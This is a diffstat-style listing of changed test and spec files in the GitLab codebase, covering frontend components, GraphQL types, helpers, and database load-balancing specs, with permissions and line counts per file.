-rw-r--r--spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap4
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/__snapshots__/terraform_installation_spec.js.snap44
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/details_title_spec.js93
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/terraform_installation_spec.js61
-rw-r--r--spec/frontend/packages_and_registries/settings/project/settings/components/registry_settings_app_spec.js26
-rw-r--r--spec/frontend/packages_and_registries/shared/components/__snapshots__/cleanup_policy_enabled_alert_spec.js.snap19
-rw-r--r--spec/frontend/packages_and_registries/shared/components/cleanup_policy_enabled_alert_spec.js49
-rw-r--r--spec/frontend/pages/milestones/shared/components/promote_milestone_modal_spec.js4
-rw-r--r--spec/frontend/pages/projects/forks/new/components/app_spec.js1
-rw-r--r--spec/frontend/pages/projects/forks/new/components/fork_form_spec.js182
-rw-r--r--spec/frontend/pages/projects/forks/new/components/fork_groups_list_spec.js2
-rw-r--r--spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap2
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_a_spec.js.snap2
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_b_spec.js.snap2
-rw-r--r--spec/frontend/pages/projects/pipeline_schedules/shared/components/interval_pattern_input_spec.js27
-rw-r--r--spec/frontend/pages/shared/nav/sidebar_tracking_spec.js160
-rw-r--r--spec/frontend/pages/shared/wikis/components/wiki_form_spec.js115
-rw-r--r--spec/frontend/pages/users/activity_calendar_spec.js16
-rw-r--r--spec/frontend/pipeline_editor/components/commit/commit_section_spec.js9
-rw-r--r--spec/frontend/pipeline_editor/components/drawer/cards/first_pipeline_card_spec.js12
-rw-r--r--spec/frontend/pipeline_editor/components/drawer/ui/pipeline_visual_reference_spec.js31
-rw-r--r--spec/frontend/pipeline_editor/components/editor/text_editor_spec.js51
-rw-r--r--spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js153
-rw-r--r--spec/frontend/pipeline_editor/mock_data.js1
-rw-r--r--spec/frontend/pipelines/components/dag/mock_data.js14
-rw-r--r--spec/frontend/pipelines/graph/graph_component_wrapper_spec.js2
-rw-r--r--spec/frontend/pipelines/graph/linked_pipeline_spec.js6
-rw-r--r--spec/frontend/pipelines/graph_shared/__snapshots__/links_inner_spec.js.snap7
-rw-r--r--spec/frontend/pipelines/graph_shared/links_inner_spec.js23
-rw-r--r--spec/frontend/pipelines/header_component_spec.js16
-rw-r--r--spec/frontend/pipelines/mock_data.js51
-rw-r--r--spec/frontend/pipelines/notification/pipeline_notification_spec.js79
-rw-r--r--spec/frontend/pipelines/parsing_utils_spec.js10
-rw-r--r--spec/frontend/pipelines/pipeline_graph/mock_data.js32
-rw-r--r--spec/frontend/pipelines/pipeline_graph/utils_spec.js22
-rw-r--r--spec/frontend/pipelines/pipelines_spec.js32
-rw-r--r--spec/frontend/pipelines/test_reports/stores/actions_spec.js2
-rw-r--r--spec/frontend/profile/account/components/update_username_spec.js12
-rw-r--r--spec/frontend/projects/commit/components/form_modal_spec.js7
-rw-r--r--spec/frontend/projects/commits/store/actions_spec.js6
-rw-r--r--spec/frontend/protected_branches/protected_branch_edit_spec.js6
-rw-r--r--spec/frontend/registry/explorer/components/__snapshots__/registry_breadcrumb_spec.js.snap1
-rw-r--r--spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js8
-rw-r--r--spec/frontend/registry/explorer/pages/list_spec.js53
-rw-r--r--spec/frontend/related_merge_requests/store/actions_spec.js6
-rw-r--r--spec/frontend/releases/__snapshots__/util_spec.js.snap56
-rw-r--r--spec/frontend/releases/components/app_index_apollo_client_spec.js394
-rw-r--r--spec/frontend/releases/components/releases_empty_state_spec.js56
-rw-r--r--spec/frontend/releases/components/releases_pagination_apollo_client_spec.js126
-rw-r--r--spec/frontend/releases/components/releases_sort_apollo_client_spec.js103
-rw-r--r--spec/frontend/releases/stores/modules/detail/actions_spec.js26
-rw-r--r--spec/frontend/reports/codequality_report/store/actions_spec.js3
-rw-r--r--spec/frontend/reports/codequality_report/store/mutations_spec.js9
-rw-r--r--spec/frontend/repository/components/blob_content_viewer_spec.js69
-rw-r--r--spec/frontend/repository/components/blob_header_edit_spec.js82
-rw-r--r--spec/frontend/repository/components/blob_replace_spec.js67
-rw-r--r--spec/frontend/repository/components/table/row_spec.js22
-rw-r--r--spec/frontend/repository/components/tree_content_spec.js5
-rw-r--r--spec/frontend/repository/components/upload_blob_modal_spec.js80
-rw-r--r--spec/frontend/repository/log_tree_spec.js15
-rw-r--r--spec/frontend/runner/components/cells/runner_actions_cell_spec.js201
-rw-r--r--spec/frontend/runner/components/cells/runner_name_cell_spec.js42
-rw-r--r--spec/frontend/runner/components/cells/runner_type_cell_spec.js48
-rw-r--r--spec/frontend/runner/components/runner_filtered_search_bar_spec.js137
-rw-r--r--spec/frontend/runner/components/runner_list_spec.js130
-rw-r--r--spec/frontend/runner/components/runner_manual_setup_help_spec.js84
-rw-r--r--spec/frontend/runner/components/runner_pagination_spec.js160
-rw-r--r--spec/frontend/runner/components/runner_tags_spec.js64
-rw-r--r--spec/frontend/runner/components/runner_type_alert_spec.js61
-rw-r--r--spec/frontend/runner/components/runner_type_badge_spec.js10
-rw-r--r--spec/frontend/runner/components/runner_type_help_spec.js32
-rw-r--r--spec/frontend/runner/components/runner_update_form_spec.js263
-rw-r--r--spec/frontend/runner/mock_data.js6
-rw-r--r--spec/frontend/runner/runner_detail/runner_details_app_spec.js21
-rw-r--r--spec/frontend/runner/runner_list/runner_list_app_spec.js232
-rw-r--r--spec/frontend/runner/runner_list/runner_search_utils_spec.js239
-rw-r--r--spec/frontend/search/mock_data.js28
-rw-r--r--spec/frontend/search/store/actions_spec.js21
-rw-r--r--spec/frontend/search/topbar/components/searchable_dropdown_item_spec.js97
-rw-r--r--spec/frontend/search/topbar/components/searchable_dropdown_spec.js58
-rw-r--r--spec/frontend/security_configuration/components/redesigned_app_spec.js232
-rw-r--r--spec/frontend/security_configuration/components/section_layout_spec.js49
-rw-r--r--spec/frontend/security_configuration/components/upgrade_banner_spec.js60
-rw-r--r--spec/frontend/security_configuration/utils_spec.js81
-rw-r--r--spec/frontend/self_monitor/components/__snapshots__/self_monitor_form_spec.js.snap4
-rw-r--r--spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap2
-rw-r--r--spec/frontend/serverless/components/missing_prometheus_spec.js2
-rw-r--r--spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js28
-rw-r--r--spec/frontend/sidebar/assignees_spec.js4
-rw-r--r--spec/frontend/sidebar/components/assignees/sidebar_invite_members_spec.js11
-rw-r--r--spec/frontend/sidebar/components/date/sidebar_date_widget_spec.js7
-rw-r--r--spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js503
-rw-r--r--spec/frontend/sidebar/components/time_tracking/report_spec.js2
-rw-r--r--spec/frontend/sidebar/components/time_tracking/time_tracker_spec.js131
-rw-r--r--spec/frontend/sidebar/mock_data.js96
-rw-r--r--spec/frontend/sidebar/track_invite_members_spec.js37
-rw-r--r--spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap1
-rw-r--r--spec/frontend/snippets/components/snippet_blob_edit_spec.js8
-rw-r--r--spec/frontend/static_site_editor/components/edit_area_spec.js4
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/editor_service_spec.js214
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/modals/add_image/add_image_modal_spec.js73
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/modals/add_image/upload_image_tab_spec.js41
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/modals/insert_video_modal_spec.js44
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/rich_content_editor_integration_spec.js69
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/rich_content_editor_spec.js222
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/build_custom_renderer_spec.js32
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/build_html_to_markdown_renderer_spec.js218
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token_spec.js88
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/mock_data.js (renamed from spec/frontend/vue_shared/components/rich_content_editor/services/renderers/mock_data.js)0
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_attribute_definition_spec.js25
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_embedded_ruby_spec.js24
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_font_awesome_html_inline_spec.js33
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_heading_spec.js12
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_html_block_spec.js37
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_identifier_instance_text_spec.js55
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js84
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_list_item_spec.js12
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_softbreak_spec.js23
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/renderers/render_utils_spec.js109
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/services/sanitize_html_spec.js11
-rw-r--r--spec/frontend/static_site_editor/rich_content_editor/toolbar_item_spec.js57
-rw-r--r--spec/frontend/tracking/get_standard_context_spec.js53
-rw-r--r--spec/frontend/tracking_spec.js152
-rw-r--r--spec/frontend/user_lists/components/user_lists_spec.js195
-rw-r--r--spec/frontend/user_lists/components/user_lists_table_spec.js98
-rw-r--r--spec/frontend/user_lists/store/index/actions_spec.js203
-rw-r--r--spec/frontend/user_lists/store/index/mutations_spec.js121
-rw-r--r--spec/frontend/vue_mr_widget/components/approvals/approvals_spec.js8
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_alert_message_spec.js77
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_pipeline_spec.js2
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_closed_spec.js4
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_merged_spec.js6
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_pipeline_blocked_spec.js2
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js47
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_wip_spec.js10
-rw-r--r--spec/frontend/vue_mr_widget/deployment/deployment_actions_spec.js8
-rw-r--r--spec/frontend/vue_mr_widget/mr_widget_options_spec.js6
-rw-r--r--spec/frontend/vue_shared/alert_details/alert_status_spec.js38
-rw-r--r--spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_assignees_spec.js6
-rw-r--r--spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_status_spec.js53
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap19
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap4
-rw-r--r--spec/frontend/vue_shared/components/alert_details_table_spec.js25
-rw-r--r--spec/frontend/vue_shared/components/awards_list_spec.js9
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js75
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js4
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/store/modules/filters/actions_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js212
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js17
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/emoji_token_spec.js6
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/epic_token_spec.js43
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js69
-rw-r--r--spec/frontend/vue_shared/components/form/__snapshots__/title_spec.js.snap1
-rw-r--r--spec/frontend/vue_shared/components/issue/issue_assignees_spec.js4
-rw-r--r--spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap1
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/editor_service_spec.js214
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/modals/add_image/add_image_modal_spec.js73
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/modals/add_image/upload_image_tab_spec.js41
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/modals/insert_video_modal_spec.js44
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_integration_spec.js69
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_spec.js222
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/build_custom_renderer_spec.js32
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer_spec.js218
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token_spec.js88
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition_spec.js25
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_embedded_ruby_spec.js24
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_font_awesome_html_inline_spec.js33
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_heading_spec.js12
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_html_block_spec.js37
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_instance_text_spec.js55
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph_spec.js84
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_list_item_spec.js12
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_softbreak_spec.js23
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/renderers/render_utils_spec.js109
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/services/sanitize_html_spec.js11
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/toolbar_item_spec.js57
-rw-r--r--spec/frontend/vue_shared/components/runner_aws_deployments/__snapshots__/runner_aws_deployments_modal_spec.js.snap110
-rw-r--r--spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal_spec.js75
-rw-r--r--spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_spec.js41
-rw-r--r--spec/frontend/vue_shared/components/security_reports/artifact_downloads/merge_request_artifact_download_spec.js108
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/base_spec.js127
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_button_spec.js90
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_create_label_spec.js103
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_footer_spec.js75
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_header_spec.js39
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_search_input_spec.js39
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_title_spec.js41
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed_spec.js95
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/dropdown_value_spec.js84
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/mock_data.js57
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_value_collapsed_spec.js95
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js2
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/mock_data.js17
-rw-r--r--spec/frontend/vue_shared/components/user_callout_dismisser_mock_data.js30
-rw-r--r--spec/frontend/vue_shared/components/user_callout_dismisser_spec.js306
-rw-r--r--spec/frontend/vue_shared/components/user_select_spec.js15
-rw-r--r--spec/frontend/vue_shared/components/web_ide_link_spec.js4
-rw-r--r--spec/frontend/whats_new/components/feature_spec.js12
-rw-r--r--spec/generator_helper.rb15
-rw-r--r--spec/graphql/mutations/ci/runner/delete_spec.rb92
-rw-r--r--spec/graphql/mutations/ci/runner/update_spec.rb95
-rw-r--r--spec/graphql/mutations/commits/create_spec.rb5
-rw-r--r--spec/graphql/mutations/design_management/upload_spec.rb2
-rw-r--r--spec/graphql/mutations/issues/set_subscription_spec.rb36
-rw-r--r--spec/graphql/mutations/issues/update_spec.rb30
-rw-r--r--spec/graphql/mutations/merge_requests/set_subscription_spec.rb28
-rw-r--r--spec/graphql/mutations/todos/mark_all_done_spec.rb7
-rw-r--r--spec/graphql/resolvers/boards_resolver_spec.rb2
-rw-r--r--spec/graphql/resolvers/ci/runners_resolver_spec.rb66
-rw-r--r--spec/graphql/resolvers/concerns/caching_array_resolver_spec.rb1
-rw-r--r--spec/graphql/resolvers/group_packages_resolver_spec.rb22
-rw-r--r--spec/graphql/resolvers/package_details_resolver_spec.rb1
-rw-r--r--spec/graphql/resolvers/projects_resolver_spec.rb18
-rw-r--r--spec/graphql/resolvers/timelog_resolver_spec.rb131
-rw-r--r--spec/graphql/types/ci/runner_type_spec.rb6
-rw-r--r--spec/graphql/types/global_id_type_spec.rb146
-rw-r--r--spec/graphql/types/label_type_spec.rb1
-rw-r--r--spec/graphql/types/merge_request_type_spec.rb33
-rw-r--r--spec/graphql/types/mutation_type_spec.rb22
-rw-r--r--spec/graphql/types/packages/package_group_sort_enum_spec.rb9
-rw-r--r--spec/graphql/types/packages/package_sort_enum_spec.rb9
-rw-r--r--spec/graphql/types/packages/pypi/metadatum_type_spec.rb13
-rw-r--r--spec/graphql/types/projects/service_type_spec.rb4
-rw-r--r--spec/graphql/types/projects/services_enum_spec.rb8
-rw-r--r--spec/graphql/types/snippet_type_spec.rb28
-rw-r--r--spec/graphql/types/snippets/blob_viewer_type_spec.rb22
-rw-r--r--spec/graphql/types/timelog_type_spec.rb2
-rw-r--r--spec/helpers/admin/background_migrations_helper_spec.rb67
-rw-r--r--spec/helpers/application_settings_helper_spec.rb20
-rw-r--r--spec/helpers/commits_helper_spec.rb16
-rw-r--r--spec/helpers/environments_helper_spec.rb5
-rw-r--r--spec/helpers/events_helper_spec.rb7
-rw-r--r--spec/helpers/gitlab_script_tag_helper_spec.rb7
-rw-r--r--spec/helpers/groups/group_members_helper_spec.rb106
-rw-r--r--spec/helpers/invite_members_helper_spec.rb65
-rw-r--r--spec/helpers/issuables_description_templates_helper_spec.rb93
-rw-r--r--spec/helpers/issuables_helper_spec.rb14
-rw-r--r--spec/helpers/issues_helper_spec.rb6
-rw-r--r--spec/helpers/keyset_helper_spec.rb94
-rw-r--r--spec/helpers/nav/new_dropdown_helper_spec.rb320
-rw-r--r--spec/helpers/nav/top_nav_helper_spec.rb235
-rw-r--r--spec/helpers/notify_helper_spec.rb32
-rw-r--r--spec/helpers/operations_helper_spec.rb18
-rw-r--r--spec/helpers/packages_helper_spec.rb169
-rw-r--r--spec/helpers/preferences_helper_spec.rb37
-rw-r--r--spec/helpers/projects/alert_management_helper_spec.rb2
-rw-r--r--spec/helpers/projects/project_members_helper_spec.rb75
-rw-r--r--spec/helpers/registrations_helper_spec.rb6
-rw-r--r--spec/helpers/user_callouts_helper_spec.rb20
-rw-r--r--spec/helpers/webpack_helper_spec.rb3
-rw-r--r--spec/initializers/database_config_spec.rb26
-rw-r--r--spec/initializers/global_id_spec.rb35
-rw-r--r--spec/initializers/lograge_spec.rb56
-rw-r--r--spec/initializers/mailer_retries_spec.rb25
-rw-r--r--spec/lib/api/entities/merge_request_basic_spec.rb11
-rw-r--r--spec/lib/api/helpers/runner_helpers_spec.rb71
-rw-r--r--spec/lib/api/helpers/runner_spec.rb69
-rw-r--r--spec/lib/api/helpers_spec.rb60
-rw-r--r--spec/lib/backup/gitaly_backup_spec.rb110
-rw-r--r--spec/lib/backup/gitaly_rpc_backup_spec.rb153
-rw-r--r--spec/lib/backup/repositories_spec.rb191
-rw-r--r--spec/lib/banzai/filter/references/label_reference_filter_spec.rb68
-rw-r--r--spec/lib/banzai/filter/references/reference_cache_spec.rb7
-rw-r--r--spec/lib/banzai/filter/references/snippet_reference_filter_spec.rb4
-rw-r--r--spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb14
-rw-r--r--spec/lib/banzai/pipeline/post_process_pipeline_spec.rb13
-rw-r--r--spec/lib/banzai/reference_parser/commit_parser_spec.rb4
-rw-r--r--spec/lib/banzai/reference_parser/issue_parser_spec.rb10
-rw-r--r--spec/lib/banzai/reference_parser/merge_request_parser_spec.rb21
-rw-r--r--spec/lib/bulk_imports/clients/http_spec.rb42
-rw-r--r--spec/lib/bulk_imports/common/extractors/ndjson_extractor_spec.rb53
-rw-r--r--spec/lib/bulk_imports/common/extractors/rest_extractor_spec.rb2
-rw-r--r--spec/lib/bulk_imports/groups/extractors/subgroups_extractor_spec.rb2
-rw-r--r--spec/lib/bulk_imports/groups/graphql/get_labels_query_spec.rb35
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/boards_pipeline_spec.rb49
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/entity_finisher_spec.rb34
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/labels_pipeline_spec.rb102
-rw-r--r--spec/lib/bulk_imports/groups/pipelines/milestones_pipeline_spec.rb110
-rw-r--r--spec/lib/bulk_imports/ndjson_pipeline_spec.rb186
-rw-r--r--spec/lib/bulk_imports/pipeline/context_spec.rb23
-rw-r--r--spec/lib/bulk_imports/pipeline_spec.rb2
-rw-r--r--spec/lib/bulk_imports/stage_spec.rb3
-rw-r--r--spec/lib/csv_builder_spec.rb12
-rw-r--r--spec/lib/expand_variables_spec.rb40
-rw-r--r--spec/lib/generators/gitlab/snowplow_event_definition_generator_spec.rb4
-rw-r--r--spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb4
-rw-r--r--spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb4
-rw-r--r--spec/lib/generators/gitlab/usage_metric_generator_spec.rb70
-rw-r--r--spec/lib/gitlab/application_context_spec.rb18
-rw-r--r--spec/lib/gitlab/auth/auth_finders_spec.rb8
-rw-r--r--spec/lib/gitlab/auth_spec.rb26
-rw-r--r--spec/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects_spec.rb82
-rw-r--r--spec/lib/gitlab/background_migration/disable_expiration_policies_linked_to_no_container_images_spec.rb142
-rw-r--r--spec/lib/gitlab/background_migration/migrate_issue_trackers_sensitive_data_spec.rb10
-rw-r--r--spec/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid_spec.rb34
-rw-r--r--spec/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url_spec.rb44
-rw-r--r--spec/lib/gitlab/cache/import/caching_spec.rb12
-rw-r--r--spec/lib/gitlab/cache_spec.rb12
-rw-r--r--spec/lib/gitlab/checks/change_access_spec.rb70
-rw-r--r--spec/lib/gitlab/checks/changes_access_spec.rb42
-rw-r--r--spec/lib/gitlab/checks/lfs_check_spec.rb10
-rw-r--r--spec/lib/gitlab/checks/lfs_integrity_spec.rb30
-rw-r--r--spec/lib/gitlab/checks/matching_merge_request_spec.rb68
-rw-r--r--spec/lib/gitlab/checks/single_change_access_spec.rb62
-rw-r--r--spec/lib/gitlab/ci/ansi2json/line_spec.rb26
-rw-r--r--spec/lib/gitlab/ci/badge/coverage/template_spec.rb52
-rw-r--r--spec/lib/gitlab/ci/badge/pipeline/template_spec.rb52
-rw-r--r--spec/lib/gitlab/ci/build/auto_retry_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/config/entry/need_spec.rb20
-rw-r--r--spec/lib/gitlab/ci/config/entry/processable_spec.rb8
-rw-r--r--spec/lib/gitlab/ci/config/entry/reports_spec.rb1
-rw-r--r--spec/lib/gitlab/ci/jwt_spec.rb1
-rw-r--r--spec/lib/gitlab/ci/matching/build_matcher_spec.rb64
-rw-r--r--spec/lib/gitlab/ci/matching/runner_matcher_spec.rb113
-rw-r--r--spec/lib/gitlab/ci/parsers/test/junit_spec.rb24
-rw-r--r--spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb59
-rw-r--r--spec/lib/gitlab/ci/pipeline/preloader_spec.rb8
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/build_spec.rb11
-rw-r--r--spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/templates/npm_spec.rb4
-rw-r--r--spec/lib/gitlab/ci/templates/templates_spec.rb162
-rw-r--r--spec/lib/gitlab/ci/trace/chunked_io_spec.rb2
-rw-r--r--spec/lib/gitlab/ci/variables/collection/item_spec.rb39
-rw-r--r--spec/lib/gitlab/ci/variables/collection/sort_spec.rb11
-rw-r--r--spec/lib/gitlab/ci/variables/collection_spec.rb76
-rw-r--r--spec/lib/gitlab/ci/yaml_processor/result_spec.rb53
-rw-r--r--spec/lib/gitlab/ci/yaml_processor_spec.rb25
-rw-r--r--spec/lib/gitlab/cleanup/orphan_lfs_file_references_spec.rb2
-rw-r--r--spec/lib/gitlab/cluster/mixins/unicorn_http_server_spec.rb117
-rw-r--r--spec/lib/gitlab/content_security_policy/config_loader_spec.rb1
-rw-r--r--spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb9
-rw-r--r--spec/lib/gitlab/data_builder/build_spec.rb2
-rw-r--r--spec/lib/gitlab/data_builder/pipeline_spec.rb2
-rw-r--r--spec/lib/gitlab/data_builder/wiki_page_spec.rb5
-rw-r--r--spec/lib/gitlab/database/background_migration/batched_job_spec.rb10
-rw-r--r--spec/lib/gitlab/database/background_migration/batched_migration_spec.rb63
-rw-r--r--spec/lib/gitlab/database/consistency_spec.rb25
-rw-r--r--spec/lib/gitlab/database/count/reltuples_count_strategy_spec.rb2
-rw-r--r--spec/lib/gitlab/database/dynamic_model_helpers_spec.rb88
-rw-r--r--spec/lib/gitlab/database/load_balancing/active_record_proxy_spec.rb20
-rw-r--r--spec/lib/gitlab/database/load_balancing/connection_proxy_spec.rb316
-rw-r--r--spec/lib/gitlab/database/load_balancing/host_list_spec.rb188
-rw-r--r--spec/lib/gitlab/database/load_balancing/host_spec.rb445
-rw-r--r--spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb522
-rw-r--r--spec/lib/gitlab/database/load_balancing/rack_middleware_spec.rb243
-rw-r--r--spec/lib/gitlab/database/load_balancing/resolver_spec.rb80
-rw-r--r--spec/lib/gitlab/database/load_balancing/service_discovery_spec.rb252
-rw-r--r--spec/lib/gitlab/database/load_balancing/session_spec.rb353
-rw-r--r--spec/lib/gitlab/database/load_balancing/sidekiq_client_middleware_spec.rb161
-rw-r--r--spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb201
-rw-r--r--spec/lib/gitlab/database/load_balancing/srv_resolver_spec.rb61
-rw-r--r--spec/lib/gitlab/database/load_balancing/sticking_spec.rb307
-rw-r--r--spec/lib/gitlab/database/load_balancing_spec.rb834
-rw-r--r--spec/lib/gitlab/database/migration_helpers_spec.rb35
-rw-r--r--spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb124
-rw-r--r--spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb2
-rw-r--r--spec/lib/gitlab/database/postgresql_adapter/type_map_cache_spec.rb68
-rw-r--r--spec/lib/gitlab/database/with_lock_retries_spec.rb6
-rw-r--r--spec/lib/gitlab/database_spec.rb34
-rw-r--r--spec/lib/gitlab/diff/highlight_cache_spec.rb16
-rw-r--r--spec/lib/gitlab/diff/highlight_spec.rb20
-rw-r--r--spec/lib/gitlab/email/handler/create_issue_handler_spec.rb8
-rw-r--r--spec/lib/gitlab/email/handler/service_desk_handler_spec.rb20
-rw-r--r--spec/lib/gitlab/email/message/in_product_marketing/base_spec.rb11
-rw-r--r--spec/lib/gitlab/email/message/in_product_marketing/create_spec.rb3
-rw-r--r--spec/lib/gitlab/email/message/in_product_marketing/experience_spec.rb64
-rw-r--r--spec/lib/gitlab/email/message/in_product_marketing/team_spec.rb3
-rw-r--r--spec/lib/gitlab/email/message/in_product_marketing/trial_spec.rb3
-rw-r--r--spec/lib/gitlab/email/message/in_product_marketing/verify_spec.rb3
-rw-r--r--spec/lib/gitlab/email/receiver_spec.rb16
-rw-r--r--spec/lib/gitlab/emoji_spec.rb11
-rw-r--r--spec/lib/gitlab/error_tracking/processor/context_payload_processor_spec.rb10
-rw-r--r--spec/lib/gitlab/error_tracking/processor/grpc_error_processor_spec.rb10
-rw-r--r--spec/lib/gitlab/error_tracking/processor/sidekiq_processor_spec.rb10
-rw-r--r--spec/lib/gitlab/error_tracking_spec.rb17
-rw-r--r--spec/lib/gitlab/etag_caching/middleware_spec.rb18
-rw-r--r--spec/lib/gitlab/experimentation/controller_concern_spec.rb21
-rw-r--r--spec/lib/gitlab/file_hook_spec.rb2
-rw-r--r--spec/lib/gitlab/git/conflict/resolver_spec.rb32
-rw-r--r--spec/lib/gitlab/git/remote_repository_spec.rb41
-rw-r--r--spec/lib/gitlab/git/repository_spec.rb32
-rw-r--r--spec/lib/gitlab/git_access_spec.rb6
-rw-r--r--spec/lib/gitlab/gitaly_client/remote_service_spec.rb51
